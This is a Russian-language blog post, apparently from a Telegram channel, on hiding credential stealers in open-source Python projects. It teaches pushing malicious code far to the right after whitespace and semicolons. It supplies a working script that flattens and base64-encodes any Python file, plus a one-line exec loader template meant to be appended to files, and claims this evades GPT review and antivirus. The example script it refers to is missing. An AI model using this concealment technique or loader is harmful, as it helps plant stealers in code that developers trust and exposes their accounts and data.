Стиллеры в опенсорсе
Всех приветствую! На связи админ канала Falcon Bytes!
Думаю, многие из вас пользуются платформой GitHub. Это прекрасная платформа на которой разработчики со всего мира делятся своими проектами и исходным кодом.
Но может ли быть в открытом коде стиллер? Об этом и будет идти речь в этой статье.
Все мы знаем, что в нашем любимом питоне можно использовать точки с запятой, как и писать весь скрипт в одну строчку. Да, это не выглядит так, что это можно использовать в корыстных целях, да и по PEP8 такое не разрешается. Но давайте честно: в ваших скриптах вас давно волновал PEP8?
Ближе к сути:
Сектор плюс на барабане! Вопрос: что выведет данный скрипт?
Если это ваш ответ, то частично вы правы. Но есть одень маленький нюанс))0)
Откуда же взялось "HELLO FROM FALCON BYTES
"?
Рассмотрим скрипт повнимательнее
Т.к. в питоне мы имеем право разделять линии точкой с запятой, значит мы можем и увести на какую угодно длину, после чего прописать весь наш злой скрипт. Просто через пробелы стоит ";" и все.
На примере показан только print, однако можно прописать все, что душе угодно туда. Подшифруя код при помощи base64 и выполняя его с помощью exec, вирус не обнаружит GPT (как некоторые любят проверять), а учитывая то, что не компилированные python-скрипты почти не определяются антивирусами как потенциально опасные, стиллеры на питоне обретают новый смысл.
Если у вас появилась идея проверить, как работает такая пакость в реале, то я написал небольшой скрипт, который переводит код стиллера в base64 и делает его однострочным.
import base64 def process_and_encode_py_file(file_path): with open(file_path, 'r') as file: lines = file.readlines() single_line_code = ''.join(line.strip() + ';' for line in lines) encoded_code = base64.b64encode(single_line_code.encode('utf-8')).decode('utf-8') return encoded_code file_path = input('Enter filename: ') encoded_code = process_and_encode_py_file(file_path) print(encoded_code) with open('converted.rbf', 'a') as file: file.write(encoded_code) print('Base64 encoded and writed to converted.rbf')
Запускаете скрипт, на вход ему пишете путь к исходному питон файлу, и он зашифрует его и сохранит зашифрованную строку в файл converted.rbf и также выведет ее на экран.
;import base64;falcon_bytes= base64.b64decode("тут_ваша_строка");exec(falcon_bytes)
Используйте это знание во благо.
Вывод
Проверяйте даже исходный код на наличие подарочков, тогда и не будет проблем со взломанными аккаунтами и спизженными тдатами.
На связи был админ канала Falcon Bytes. До новых встреч!